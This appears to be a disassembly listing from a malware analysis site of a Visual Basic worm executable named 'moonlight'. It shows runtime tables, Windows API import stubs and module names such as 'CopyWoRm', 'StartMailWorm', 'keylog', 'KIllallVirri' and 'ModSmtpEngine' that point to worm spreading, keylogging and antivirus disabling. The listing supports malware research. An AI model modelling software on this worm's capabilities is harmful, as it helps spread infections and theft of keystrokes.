FilesBlogsAbout
Register
File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe
Function:
    004058ac
    004058ac struct EventInfo
    004058ac dwNull uint32 0x00000000
    004058b0 lpControlInfo uint32 0x405694
    004058b4 lpObjectInfo uint32 0x405168
    004058b8 lpQueryInterface uint32 0x4011fa
    004058bc lpAddRef uint32 0x401200
    004058c0 lpRelease uint32 0x401206
    004058c4
    004058c4 struct VBEventHandlerEntry
    004058c4 lpEntry uint32 0x40bc30
    004058c8
    004058c8 struct EventInfo
    004058c8 dwNull uint32 0x00000000
    004058cc lpControlInfo uint32 0x4056bc
    004058d0 lpObjectInfo uint32 0x405168
    004058d4 lpQueryInterface uint32 0x4011fa
    004058d8 lpAddRef uint32 0x401200
    004058dc lpRelease uint32 0x401206
    004058e0 struct VBEventHandlerEntry[24] ; 0x4058e0-0x405940, 0 set, 24 null
    00405940
    00405940fn_405940:
    00405940mov eax, 96
    00405940
    00405945
    00405945 66 3d f=
    00405947
    00405947fn_405947:
    00405947xor eax, eax
    00405949mov edx, 0x411a98
    0040594epush 0x40120c
    00405953ret
    00405947
    00405954
    00405954 b8 00 00 00 00 66 3d .....f=
    0040595b
    0040595bfn_40595b:
    0040595bxor eax, eax
    0040595dmov edx, 0x41207c
    00405962push 0x40120c
    00405967ret
    0040595b
    00405968
    00405968 b8 00 00 00 00 66 3d .....f=
    0040596f
    0040596ffn_40596f:
    0040596fxor eax, eax
    00405971mov edx, 0x4105dc
    00405976push 0x40120c
    0040597bret
    0040596f
    0040597c
    0040597c b8 00 00 00 ....
    00405980 00 66 3d .f=
    00405983
    00405983fn_405983:
    00405983xor eax, eax
    00405985mov edx, 0x413b68
    0040598apush 0x40120c
    0040598fret
    00405983
    00405990
    00405990 b8 00 00 00 00 66 3d .....f=
    00405997
    00405997fn_405997:
    00405997xor eax, eax
    00405999mov edx, 0x412d98
    0040599epush 0x40120c
    004059a3ret
    00405997
    004059a4
    004059a4 b8 00 00 00 00 66 3d .....f=
    004059ab
    004059abfn_4059ab:
    004059abxor eax, eax
    004059admov edx, 0x40d31c
    004059b2push 0x40120c
    004059b7ret
    004059ab
    004059b8
    004059b8 b8 00 00 00 00 66 3d .....f=
    004059bf
    004059bffn_4059bf:
    004059bfxor eax, eax
    004059c1mov edx, 0x40bdb4
    004059c6push 0x40120c
    004059cbret
    004059bf
    004059cc
    004059cc b8 00 00 00 ....
    004059d0 00 66 3d .f=
    004059d3
    004059d3fn_4059d3:
    004059d3xor eax, eax
    004059d5mov edx, 0x40e62c
    004059dapush 0x40120c
    004059dfret
    004059d3
    004059e0
    004059e0fn_4059e0:
    004059e0mov eax, 88
    004059e0
    004059e5
    004059e5 66 3d f=
    004059e7
    004059e7fn_4059e7:
    004059e7xor eax, eax
    004059e9mov edx, 0x41017c
    004059eepush 0x40120c
    004059f3ret
    004059e7
    004059f4
    004059f4fn_4059f4:
    004059f4mov eax, 92
    004059f4
    004059f9
    004059f9 66 3d f=
    004059fb
    004059fbfn_4059fb:
    004059fbxor eax, eax
    004059fdmov edx, 0x40e81c
    00405a02push 0x40120c
    00405a07ret
    004059fb
    00405a08
    00405a08 b8 00 00 00 00 66 3d .....f=
    00405a0f
    00405a0ffn_405a0f:
    00405a0fxor eax, eax
    00405a11mov edx, 0x40cb38
    00405a16push 0x40120c
    00405a1bret
    00405a0f
    00405a1c
    00405a1c b8 00 00 00 ....
    00405a20 00 66 3d .f=
    00405a23
    00405a23fn_405a23:
    00405a23xor eax, eax
    00405a25mov edx, 0x40ba40
    00405a2apush 0x40120c
    00405a2fret
    00405a23
    00405a30
    00405a30fn_405a30:
    00405a30mov eax, 100
    00405a30
    00405a35
    00405a35 66 3d f=
    00405a37
    00405a37fn_405a37:
    00405a37xor eax, eax
    00405a39mov edx, 0x40b5ac
    00405a3epush 0x40120c
    00405a43ret
    00405a37
    00405a44
    00405a44fn_405a44:
    00405a44mov eax, 112
    00405a44
    00405a49
    00405a49 66 3d f=
    00405a4b
    00405a4bfn_405a4b:
    00405a4bxor eax, eax
    00405a4dmov edx, 0x40bc30
    00405a52push 0x40120c
    00405a57ret
    00405a4b
    00405a58
    00405a58fn_405a58:
    00405a58mov eax, 104
    00405a58
    00405a5d
    00405a5d 66 3d f=
    00405a5f
    00405a5ffn_405a5f:
    00405a5fxor eax, eax
    00405a61mov edx, 0x40d0b0
    00405a66push 0x40120c
    00405a6bret
    00405a5f
    00405a6c
    00405a6c b8 00 00 00 ....
    00405a70 00 66 3d .f=
    00405a73
    00405a73fn_405a73:
    00405a73xor eax, eax
    00405a75mov edx, 0x40c62c
    00405a7apush 0x40120c
    00405a7fret
    00405a73
    00405a80
    00405a80 b8 00 00 00 00 66 3d .....f=
    00405a87
    00405a87fn_405a87:
    00405a87xor eax, eax
    00405a89mov edx, 0x40b0ec
    00405a8epush 0x40120c
    00405a93ret
    00405a87
    00405a94
    00405a94 b8 00 00 00 00 66 3d .....f=
    00405a9b
    00405a9bfn_405a9b:
    00405a9bxor eax, eax
    00405a9dmov edx, 0x40c824
    00405aa2push 0x40120c
    00405aa7ret
    00405a9b
    00405aa8
    00405aa8 b8 00 00 00 00 66 3d .....f=
    00405aaf
    00405aaffn_405aaf:
    00405aafxor eax, eax
    00405ab1mov edx, 0x40f04c
    00405ab6push 0x40120c
    00405abbret
    00405aaf
    00405abc
    00405abc struct ObjectTable
    00405abc lpHeapLink uint32 0x00000000
    00405ac0 lpExecProj uint32 0x41b524
    00405ac4 lpProjectInfo2 uint32 0x40b1bc
    00405ac8 dwReserved uint32 0xffffffff
    00405acc dwNull uint32 0x00000000
    00405ad0 lpProjectObject uint32 0x41b514
    00405ad4 uuidObject guid 39a80b40-be66-42dd-8796-aca299f9c72d
    00405ae4 fCompileState uint16 0x000a
    00405ae6 wTotalObjects int 15
    00405ae8 wCompiledObjects int 15
    00405aea wObjectsInUse int 15
    00405aec lpObjectArray uint32 0x405b10
    00405af0 fIdeFlag uint32 0x00000000
    00405af4 lpIdeData uint32 0x00000000
    00405af8 lpIdeData2 uint32 0x00000000
    00405afc lpszProjectName uint32 0x405ed0
    00405b00 dwLcid uint32 0x00000409
    00405b04 dwLcid2 uint32 0x00000409
    00405b08 lpIdeData3 uint32 0x00000000
    00405b0c dwIdentifier int 2
    00405b10
    00405b10 struct PublicObjectDescriptor
    00405b10 lpObjectInfo uint32 0x403ff0
    00405b14 dwReserved uint32 0xffffffff
    00405b18 lpPublicBytes uint32 0x406314
    00405b1c lpStaticBytes uint32 0x00000000
    00405b20 lpModulePublic uint32 0x41b008
    00405b24 lpModuleStatic uint32 0x00000000
    00405b28 lpszObjectName uint32 0x405e34
    00405b2c dwMethodCount int 22
    00405b30 lpMethodNames uint32 0x00000000
    00405b34 bStaticVars uint32 0x0000ffff
    00405b38 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405b3c dwNull uint32 0x00000000
    00405b40
    00405b40 struct PublicObjectDescriptor
    00405b40 lpObjectInfo uint32 0x403e7c
    00405b44 dwReserved uint32 0xffffffff
    00405b48 lpPublicBytes uint32 0x4064b8
    00405b4c lpStaticBytes uint32 0x00000000
    00405b50 lpModulePublic uint32 0x41b154
    00405b54 lpModuleStatic uint32 0x00000000
    00405b58 lpszObjectName uint32 0x405e3c
    00405b5c dwMethodCount int 6
    00405b60 lpMethodNames uint32 0x00000000
    00405b64 bStaticVars uint32 0x0000ffff
    00405b68 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405b6c dwNull uint32 0x00000000
    00405b70
    00405b70 struct PublicObjectDescriptor
    00405b70 lpObjectInfo uint32 0x4041b8
    00405b74 dwReserved uint32 0xffffffff
    00405b78 lpPublicBytes uint32 0x406904
    00405b7c lpStaticBytes uint32 0x00000000
    00405b80 lpModulePublic uint32 0x41b18c
    00405b84 lpModuleStatic uint32 0x00000000
    00405b88 lpszObjectName uint32 0x405e48
    00405b8c dwMethodCount int 11
    00405b90 lpMethodNames uint32 0x00000000
    00405b94 bStaticVars uint32 0x0000ffff
    00405b98 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405b9c dwNull uint32 0x00000000
    00405ba0
    00405ba0 struct PublicObjectDescriptor
    00405ba0 lpObjectInfo uint32 0x403844
    00405ba4 dwReserved uint32 0xffffffff
    00405ba8 lpPublicBytes uint32 0x407518
    00405bac lpStaticBytes uint32 0x00000000
    00405bb0 lpModulePublic uint32 0x41b4c4
    00405bb4 lpModuleStatic uint32 0x00000000
    00405bb8 lpszObjectName uint32 0x405e54
    00405bbc dwMethodCount int 3
    00405bc0 lpMethodNames uint32 0x00000000
    00405bc4 bStaticVars uint32 0x0000ffff
    00405bc8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405bcc dwNull uint32 0x00000000
    00405bd0
    00405bd0 struct PublicObjectDescriptor
    00405bd0 lpObjectInfo uint32 0x405168
    00405bd4 dwReserved uint32 0xffffffff
    00405bd8 lpPublicBytes uint32 0x406758
    00405bdc lpStaticBytes uint32 0x00000000
    00405be0 lpModulePublic uint32 0x00000000
    00405be4 lpModuleStatic uint32 0x00000000
    00405be8 lpszObjectName uint32 0x405e5c
    00405bec dwMethodCount int 21
    00405bf0 lpMethodNames uint32 0x405de0
    00405bf4 bStaticVars uint32 0x0000ffff
    00405bf8 fObjectType uint32 0x00018083 ; HasOptionalInfo|HasPrivateObject|Form
    00405bfc dwNull uint32 0x00000000
    00405c00
    00405c00 struct PublicObjectDescriptor
    00405c00 lpObjectInfo uint32 0x403b6c
    00405c04 dwReserved uint32 0xffffffff
    00405c08 lpPublicBytes uint32 0x407518
    00405c0c lpStaticBytes uint32 0x00000000
    00405c10 lpModulePublic uint32 0x41b4e4
    00405c14 lpModuleStatic uint32 0x00000000
    00405c18 lpszObjectName uint32 0x405e64
    00405c1c dwMethodCount int 13
    00405c20 lpMethodNames uint32 0x00000000
    00405c24 bStaticVars uint32 0x0000ffff
    00405c28 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405c2c dwNull uint32 0x00000000
    00405c30
    00405c30 struct PublicObjectDescriptor
    00405c30 lpObjectInfo uint32 0x40397c
    00405c34 dwReserved uint32 0xffffffff
    00405c38 lpPublicBytes uint32 0x407518
    00405c3c lpStaticBytes uint32 0x00000000
    00405c40 lpModulePublic uint32 0x41b218
    00405c44 lpModuleStatic uint32 0x00000000
    00405c48 lpszObjectName uint32 0x405e70
    00405c4c dwMethodCount int 6
    00405c50 lpMethodNames uint32 0x00000000
    00405c54 bStaticVars uint32 0x0000ffff
    00405c58 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405c5c dwNull uint32 0x00000000
    00405c60
    00405c60 struct PublicObjectDescriptor
    00405c60 lpObjectInfo uint32 0x404b14
    00405c64 dwReserved uint32 0xffffffff
    00405c68 lpPublicBytes uint32 0x40732c
    00405c6c lpStaticBytes uint32 0x00000000
    00405c70 lpModulePublic uint32 0x41b1c8
    00405c74 lpModuleStatic uint32 0x00000000
    00405c78 lpszObjectName uint32 0x405e78
    00405c7c dwMethodCount int 38
    00405c80 lpMethodNames uint32 0x00000000
    00405c84 bStaticVars uint32 0x0000ffff
    00405c88 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405c8c dwNull uint32 0x00000000
    00405c90
    00405c90 struct PublicObjectDescriptor
    00405c90 lpObjectInfo uint32 0x403910
    00405c94 dwReserved uint32 0xffffffff
    00405c98 lpPublicBytes uint32 0x406cc8
    00405c9c lpStaticBytes uint32 0x00000000
    00405ca0 lpModulePublic uint32 0x41b1b8
    00405ca4 lpModuleStatic uint32 0x00000000
    00405ca8 lpszObjectName uint32 0x405e80
    00405cac dwMethodCount int 6
    00405cb0 lpMethodNames uint32 0x00000000
    00405cb4 bStaticVars uint32 0x0000ffff
    00405cb8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405cbc dwNull uint32 0x00000000
    00405cc0
    00405cc0 struct PublicObjectDescriptor
    00405cc0 lpObjectInfo uint32 0x404888
    00405cc4 dwReserved uint32 0xffffffff
    00405cc8 lpPublicBytes uint32 0x409444
    00405ccc lpStaticBytes uint32 0x409fc4
    00405cd0 lpModulePublic uint32 0x41b504
    00405cd4 lpModuleStatic uint32 0x41b510
    00405cd8 lpszObjectName uint32 0x405e8c
    00405cdc dwMethodCount int 5
    00405ce0 lpMethodNames uint32 0x00000000
    00405ce4 bStaticVars uint32 0x00000004
    00405ce8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405cec dwNull uint32 0x00000000
    00405cf0
    00405cf0 struct PublicObjectDescriptor
    00405cf0 lpObjectInfo uint32 0x404e2c
    00405cf4 dwReserved uint32 0xffffffff
    00405cf8 lpPublicBytes uint32 0x407518
    00405cfc lpStaticBytes uint32 0x00000000
    00405d00 lpModulePublic uint32 0x41b228
    00405d04 lpModuleStatic uint32 0x00000000
    00405d08 lpszObjectName uint32 0x405e94
    00405d0c dwMethodCount int 3
    00405d10 lpMethodNames uint32 0x00000000
    00405d14 bStaticVars uint32 0x0000ffff
    00405d18 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405d1c dwNull uint32 0x00000000
    00405d20
    00405d20 struct PublicObjectDescriptor
    00405d20 lpObjectInfo uint32 0x403c44
    00405d24 dwReserved uint32 0xffffffff
    00405d28 lpPublicBytes uint32 0x407c10
    00405d2c lpStaticBytes uint32 0x00000000
    00405d30 lpModulePublic uint32 0x41b248
    00405d34 lpModuleStatic uint32 0x00000000
    00405d38 lpszObjectName uint32 0x405ea4
    00405d3c dwMethodCount int 11
    00405d40 lpMethodNames uint32 0x00000000
    00405d44 bStaticVars uint32 0x0000ffff
    00405d48 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405d4c dwNull uint32 0x00000000
    00405d50
    00405d50 struct PublicObjectDescriptor
    00405d50 lpObjectInfo uint32 0x403d58
    00405d54 dwReserved uint32 0xffffffff
    00405d58 lpPublicBytes uint32 0x407518
    00405d5c lpStaticBytes uint32 0x00000000
    00405d60 lpModulePublic uint32 0x41b4d4
    00405d64 lpModuleStatic uint32 0x00000000
    00405d68 lpszObjectName uint32 0x405eac
    00405d6c dwMethodCount int 11
    00405d70 lpMethodNames uint32 0x00000000
    00405d74 bStaticVars uint32 0x0000ffff
    00405d78 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405d7c dwNull uint32 0x00000000
    00405d80
    00405d80 struct PublicObjectDescriptor
    00405d80 lpObjectInfo uint32 0x403aa0
    00405d84 dwReserved uint32 0xffffffff
    00405d88 lpPublicBytes uint32 0x407518
    00405d8c lpStaticBytes uint32 0x00000000
    00405d90 lpModulePublic uint32 0x41b238
    00405d94 lpModuleStatic uint32 0x00000000
    00405d98 lpszObjectName uint32 0x405eb8
    00405d9c dwMethodCount int 4
    00405da0 lpMethodNames uint32 0x00000000
    00405da4 bStaticVars uint32 0x0000ffff
    00405da8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405dac dwNull uint32 0x00000000
    00405db0
    00405db0 struct PublicObjectDescriptor
    00405db0 lpObjectInfo uint32 0x4038a8
    00405db4 dwReserved uint32 0xffffffff
    00405db8 lpPublicBytes uint32 0x407518
    00405dbc lpStaticBytes uint32 0x00000000
    00405dc0 lpModulePublic uint32 0x41b4f4
    00405dc4 lpModuleStatic uint32 0x00000000
    00405dc8 lpszObjectName uint32 0x405ec8
    00405dcc dwMethodCount int 3
    00405dd0 lpMethodNames uint32 0x00000000
    00405dd4 bStaticVars uint32 0x0000ffff
    00405dd8 fObjectType uint32 0x00018001 ; HasOptionalInfo
    00405ddc dwNull uint32 0x00000000
    00405de0 struct VBMethodNameEntry[21] ; 0x405de0-0x405e34, 18 set, 3 null
    00405de0 #0 lpEntry = 0xfffffffe
    00405de8 #2 lpEntry = 0xffffffff
    00405dec #3 lpEntry = 0x004066b8 ; "instal"
    00405df0 #4 lpEntry = 0x004066c0 ; "CopyWoRm"
    00405df4 #5 lpEntry = 0x004066cc ; "setMyRegister"
    00405df8 #6 lpEntry = 0x004066dc ; "KIllallVirri"
    00405dfc #7 lpEntry = 0x004066ec ; "CopyYourUfd"
    00405e00 #8 lpEntry = 0x004066f8 ; "StartMailWorm"
    00405e04 #9 lpEntry = 0x00406708 ; "SelamatkanMsVb"
    00405e08 #10 lpEntry = 0xfffffffe
    00405e10 #12 lpEntry = 0x00406718 ; "EndTKMnUW"
    00405e14 #13 lpEntry = 0x00406724 ; "CreateMutex"
    00405e1c #15 lpEntry = 0x02df208a
    00405e20 #16 lpEntry = 0x00000338
    00405e24 #17 lpEntry = 0x00406730 ; "kirimbo"
    00405e28 #18 lpEntry = 0x00406738 ; "taroocx"
    00405e2c #19 lpEntry = 0x00406740 ; "dRopingAnyFiles"
    00405e30 #20 lpEntry = 0x00406750 ; "shellbi"
    00405e34
    00405e34 string "global",0
    00405e3b
    00405e3b 00 .
    00405e3c
    00405e3c string "Utilities",0
    00405e46
    00405e46 00 00 ..
    00405e48
    00405e48 string "ScanEmail",0
    00405e52
    00405e52 00 00 ..
    00405e54
    00405e54 string "mosf",0
    00405e59
    00405e59 00 00 00 ...
    00405e5c
    00405e5c string "FrmMain",0
    00405e64
    00405e64 string "basRegistry",0
    00405e70
    00405e70 string "modInet",0
    00405e78
    00405e78 string "newSmtp",0
    00405e80
    00405e80 string "basService",0
    00405e8b
    00405e8b 00 .
    00405e8c
    00405e8c string "keylog",0
    00405e93
    00405e93 00 .
    00405e94
    00405e94 string "ModSmtpEngine",0
    00405ea2
    00405ea2 00 00 ..
    00405ea4
    00405ea4 string "Modzip",0
    00405eab
    00405eab 00 .
    00405eac
    00405eac string "ModNetwork",0
    00405eb7
    00405eb7 00 .
    00405eb8
    00405eb8 string "ModMoonUpdate",0
    00405ec6
    00405ec6 00 00 ..
    00405ec8
    00405ec8 string "Modmidi",0
    00405ed0
    00405ed0 string "NewMoonlight",0
    00405edd
    00405edd 00 00 00 ...
    00405ee0 06 00 00 00 ....
    00405ee4
    00405ee4 wstring "*.*",0
    00405eec
    00405eec struct VBDeclareNameLength
    00405eec cbName int 12
    00405ef0
    00405ef0 string "shell32.dll",0
    00405efc
    00405efc struct VBDeclareNameLength
    00405efc cbName int 14
    00405f00
    00405f00 string "ShellExecuteA",0
    00405f0e
    00405f0e 00 00 ..
    00405f10
    00405f10 struct DeclareInfo
    00405f10 lpszLibraryName uint32 0x405ef0
    00405f14 lpszFunctionName uint32 0x405f00
    00405f18 dwFlags uint32 0x00040000
    00405f1c lpCache uint32 0x41bc60
    00405f20 dwReserved uint32 0x00000000
    00405f24
    00405f24 00 00 00 00 ....
    00405f28
    00405f28fn_405f28:
    00405f28mov eax, [0x41bc68]
    00405f2dor eax, eax
    00405f2fje 0x405f33
    00405f31jmp eax
    00405f33
    00405f33loc_405f33:
    00405f33push 0x405f10
    00405f38mov eax, 0x4010e0
    00405f3dcall eax
    00405f3fjmp eax
    00405f28
    00405f41
    00405f41 00 00 00 ...
    00405f44
    00405f44 struct VBDeclareNameLength
    00405f44 cbName int 9
    00405f48
    00405f48 string "kernel32",0
    00405f51
    00405f51 00 00 00 ...
    00405f54
    00405f54 struct VBDeclareNameLength
    00405f54 cbName int 21
    00405f58
    00405f58 string "GetWindowsDirectoryA",0
    00405f6d
    00405f6d 00 00 00 ...
    00405f70 08 00 00 00 ....
    00405f74
    00405f74 wstring ".exe",0
    00405f7e
    00405f7e 00 00 ..
    00405f80
    00405f80 struct DeclareInfo
    00405f80 lpszLibraryName uint32 0x405f48
    00405f84 lpszFunctionName uint32 0x405f58
    00405f88 dwFlags uint32 0x00040000
    00405f8c lpCache uint32 0x41bc6c
    00405f90 dwReserved uint32 0x00000000
    00405f94
    00405f94 00 00 00 00 ....
    00405f98
    00405f98fn_405f98:
    00405f98mov eax, [0x41bc74]
    00405f9dor eax, eax
    00405f9fje 0x405fa3
    00405fa1jmp eax
    00405fa3
    00405fa3loc_405fa3:
    00405fa3push 0x405f80
    00405fa8mov eax, 0x4010e0
    00405fadcall eax
    00405fafjmp eax
    00405f98
    00405fb1
    00405fb1 00 00 00 ...
    00405fb4
    00405fb4 struct VBDeclareNameLength
    00405fb4 cbName int 20
    00405fb8
    00405fb8 string "GetSystemDirectoryA",0
    00405fcc
    00405fcc struct DeclareInfo
    00405fcc lpszLibraryName uint32 0x405f48
    00405fd0 lpszFunctionName uint32 0x405fb8
    00405fd4 dwFlags uint32 0x00040000
    00405fd8 lpCache uint32 0x41bc78
    00405fdc dwReserved uint32 0x00000000
    00405fe0
    00405fe0 00 00 00 00 ....
    00405fe4
    00405fe4fn_405fe4:
    00405fe4mov eax, [0x41bc80]
    00405fe9or eax, eax
    00405febje 0x405fef
    00405fedjmp eax
    00405fef
    00405fefloc_405fef:
    00405fefpush 0x405fcc
    00405ff4mov eax, 0x4010e0
    00405ff9call eax
    00405ffbjmp eax
    00405fe4
    00405ffd
    00405ffd 00 00 00 ...
    00406000
    00406000 struct VBDeclareNameLength
    00406000 cbName int 11
    00406004
    00406004 string "user32.dll",0
    0040600f
    0040600f 00 .
    00406010
    00406010 struct VBDeclareNameLength
    00406010 cbName int 12
    00406014
    00406014 string "EnumWindows",0
    00406020
    00406020 struct DeclareInfo
    00406020 lpszLibraryName uint32 0x406004
    00406024 lpszFunctionName uint32 0x406014
    00406028 dwFlags uint32 0x00040000
    0040602c lpCache uint32 0x41bc84
    00406030 dwReserved uint32 0x00000000
    00406034
    00406034 00 00 00 00 ....
    00406038
    00406038fn_406038:
    00406038mov eax, [0x41bc8c]
    0040603dor eax, eax
    0040603fje 0x406043
    00406041jmp eax
    00406043
    00406043loc_406043:
    00406043push 0x406020
    00406048mov eax, 0x4010e0
    0040604dcall eax
    0040604fjmp eax
    00406038
    00406051
    00406051 00 00 00 ...
    00406054
    00406054 struct VBDeclareNameLength
    00406054 cbName int 7
    00406058
    00406058 string "user32",0
    0040605f
    0040605f 00 .
    00406060
    00406060 struct VBDeclareNameLength
    00406060 cbName int 13
    00406064
    00406064 string "EnableWindow",0
    00406071
    00406071 00 00 00 ...
    00406074
    00406074 struct DeclareInfo
    00406074 lpszLibraryName uint32 0x406058
    00406078 lpszFunctionName uint32 0x406064
    0040607c dwFlags uint32 0x00040000
    00406080 lpCache uint32 0x41bc90
    00406084 dwReserved uint32 0x00000000
    00406088
    00406088 00 00 00 00 ....
    0040608c
    0040608cfn_40608c:
    0040608cmov eax, [0x41bc98]
    00406091or eax, eax
    00406093je 0x406097
    00406095jmp eax
    00406097
    00406097loc_406097:
    00406097push 0x406074
    0040609cmov eax, 0x4010e0
    004060a1call eax
    004060a3jmp eax
    0040608c
    004060a5
    004060a5 00 00 00 ...
    004060a8
    004060a8 struct VBDeclareNameLength
    004060a8 cbName int 10
    004060ac
    004060ac string "GetParent",0
    004060b6
    004060b6 00 00 ..
    004060b8
    004060b8 struct DeclareInfo
    004060b8 lpszLibraryName uint32 0x406058
    004060bc lpszFunctionName uint32 0x4060ac
    004060c0 dwFlags uint32 0x00040000
    004060c4 lpCache uint32 0x41bc9c
    004060c8 dwReserved uint32 0x00000000
    004060cc
    004060cc 00 00 00 00 ....
    004060d0
    004060d0fn_4060d0:
    004060d0mov eax, [0x41bca4]
    004060d5or eax, eax
    004060d7je 0x4060db
    004060d9jmp eax
    004060db
    004060dbloc_4060db:
    004060dbpush 0x4060b8
    004060e0mov eax, 0x4010e0
    004060e5call eax
    004060e7jmp eax
    004060d0
    004060e9
    004060e9 00 00 00 ...
    004060ec
    004060ec struct VBDeclareNameLength
    004060ec cbName int 11
    004060f0
    004060f0 string "ShowWindow",0
    004060fb
    004060fb 00 .
    004060fc
    004060fc struct DeclareInfo
    004060fc lpszLibraryName uint32 0x406058
    00406100 lpszFunctionName uint32 0x4060f0
    00406104 dwFlags uint32 0x00040000
    00406108 lpCache uint32 0x41bca8
    0040610c dwReserved uint32 0x00000000
    00406110
    00406110 00 00 00 00 ....
    00406114
    00406114fn_406114:
    00406114mov eax, [0x41bcb0]
    00406119or eax, eax
    0040611bje 0x40611f
    0040611djmp eax
    0040611f
    0040611floc_40611f:
    0040611fpush 0x4060fc
    00406124mov eax, 0x4010e0
    00406129call eax
    0040612bjmp eax
    00406114
    0040612d
    0040612d 00 00 00 ...
    00406130
    00406130 struct VBDeclareNameLength
    00406130 cbName int 15
    00406134
    00406134 string "GetWindowTextA",0
    00406143
    00406143 00 00 00 00 00 .....
    00406148
    00406148 struct DeclareInfo
    00406148 lpszLibraryName uint32 0x406058
    0040614c lpszFunctionName uint32 0x406134
    00406150 dwFlags uint32 0x00040000
    00406154 lpCache uint32 0x41bcb4
    00406158 dwReserved uint32 0x00000000
    0040615c
    0040615c 00 00 00 00 ....
    00406160
    00406160fn_406160:
    00406160mov eax, [0x41bcbc]
    00406165or eax, eax
    00406167je 0x40616b
    00406169jmp eax
    0040616b
    0040616bloc_40616b:
    0040616bpush 0x406148
    00406170mov eax, 0x4010e0
    00406175call eax
    00406177jmp eax
    00406160
    00406179
    00406179 00 00 00 ...
    0040617c
    0040617c struct VBDeclareNameLength
    0040617c cbName int 14
    00406180
    00406180 string "GetClassNameA",0
    0040618e
    0040618e 00 00 ..
    00406190
    00406190 struct DeclareInfo
    00406190 lpszLibraryName uint32 0x406058
    00406194 lpszFunctionName uint32 0x406180
    00406198 dwFlags uint32 0x00040000
    0040619c lpCache uint32 0x41bcc0
    004061a0 dwReserved uint32 0x00000000
    004061a4
    004061a4 00 00 00 00 ....
    004061a8
    004061a8fn_4061a8:
    004061a8mov eax, [0x41bcc8]
    004061ador eax, eax
    004061afje 0x4061b3
    004061b1jmp eax
    004061b3
    004061b3loc_4061b3:
    004061b3push 0x406190
    004061b8mov eax, 0x4010e0
    004061bdcall eax
    004061bfjmp eax
    004061a8
    004061c1
    004061c1 00 00 00 ...
    004061c4
    004061c4 struct VBDeclareNameLength
    004061c4 cbName int 13
    004061c8
    004061c8 string "SendMessageA",0
    004061d5
    004061d5 00 00 00 ...
    004061d8
    004061d8 struct DeclareInfo
    004061d8 lpszLibraryName uint32 0x406058
    004061dc lpszFunctionName uint32 0x4061c8
    004061e0 dwFlags uint32 0x00040000
    004061e4 lpCache uint32 0x41bccc
    004061e8 dwReserved uint32 0x00000000
    004061ec
    004061ec 00 00 00 00 ....
    004061f0
    004061f0fn_4061f0:
    004061f0mov eax, [0x41bcd4]
    004061f5or eax, eax
    004061f7je 0x4061fb
    004061f9jmp eax
    004061fb
    004061fbloc_4061fb:
    004061fbpush 0x4061d8
    00406200mov eax, 0x4010e0
    00406205call eax
    00406207jmp eax
    004061f0
    00406209
    00406209 00 00 00 ...
    0040620c
    0040620c struct VBDeclareNameLength
    0040620c cbName int 12
    00406210
    00406210 string "FindWindowA",0
    0040621c
    0040621c struct DeclareInfo
    0040621c lpszLibraryName uint32 0x406058
    00406220 lpszFunctionName uint32 0x406210
    00406224 dwFlags uint32 0x00040000
    00406228 lpCache uint32 0x41bcd8
    0040622c dwReserved uint32 0x00000000
    00406230
    00406230 00 00 00 00 ....
    00406234
    00406234fn_406234:
    00406234mov eax, [0x41bce0]
    00406239or eax, eax
    0040623bje 0x40623f
    0040623djmp eax
    0040623f
    0040623floc_40623f:
    0040623fpush 0x40621c
    00406244mov eax, 0x4010e0
    00406249call eax
    0040624bjmp eax
    00406234
    0040624d
    0040624d 00 00 00 ...
    00406250
    00406250 struct VBDeclareNameLength
    00406250 cbName int 27
    00406254
    00406254 string "WritePrivateProfileStringA",0
    0040626f
    0040626f 00 .
    00406270
    00406270 struct DeclareInfo
    00406270 lpszLibraryName uint32 0x405f48
    00406274 lpszFunctionName uint32 0x406254
    00406278 dwFlags uint32 0x00040000
    0040627c lpCache uint32 0x41bce4
    00406280 dwReserved uint32 0x00000000
    00406284
    00406284 00 00 00 00 ....
    00406288
    00406288fn_406288:
    00406288mov eax, [0x41bcec]
    0040628dor eax, eax
    0040628fje 0x406293
    00406291jmp eax
    00406293
    00406293loc_406293:
    00406293push 0x406270
    00406298mov eax, 0x4010e0
    0040629dcall eax
    0040629fjmp eax
    00406288
    004062a1
    004062a1 00 00 00 ...
    004062a4
    004062a4 struct VBDeclareNameLength
    004062a4 cbName int 25
    004062a8
    004062a8 string "GetPrivateProfileStringA",0
    004062c1
    004062c1 00 00 00 ...
    004062c4
    004062c4 struct DeclareInfo
    004062c4 lpszLibraryName uint32 0x405f48
    004062c8 lpszFunctionName uint32 0x4062a8
    004062cc dwFlags uint32 0x00040000
    004062d0 lpCache uint32 0x41bcf0
    004062d4 dwReserved uint32 0x00000000
    004062d8
    004062d8 00 00 00 00 ....
    004062dc
    004062dcfn_4062dc:
    004062dcmov eax, [0x41bcf8]
    004062e1or eax, eax
    004062e3je 0x4062e7
    004062e5jmp eax
    004062e7
    004062e7loc_4062e7:
    004062e7push 0x4062c4
    004062ecmov eax, 0x4010e0
    004062f1call eax
    004062f3jmp eax
    004062dc
    004062f5
    004062f5 00 00 00 79 4f ad 33 99 66 cf 11 ...yO.3.f..
    00406300 b7 0c 00 aa 00 60 d3 93 06 00 00 00 .....`......
    0040630c
    0040630c wstring "'cz",0
    00406314
    00406314 9c 00 44 01 01 00 1a 00 00 00 00 00 ..D.........
    00406320 00 00 02 00 10 00 01 00 14 00 02 00 24 00 02 00 ............$...
    00406330 34 00 02 00 44 00 02 00 54 00 02 00 64 00 02 00 4...D...T...d...
    00406340 74 00 01 00 78 00 02 00 88 00 02 00 98 00 02 00 t...x...........
    00406350 a8 00 02 00 b8 00 02 00 c8 00 02 00 dc 00 01 00 ................
    00406360 e0 00 01 00 e4 00 01 00 e8 00 01 00 34 01 01 00 ............4...
    00406370 38 01 01 00 ec 00 01 00 f0 00 02 00 08 01 05 00 8...............
    00406380 00 00 00 00 01 00 00 00 00 00 00 00 01 00 92 01 ................
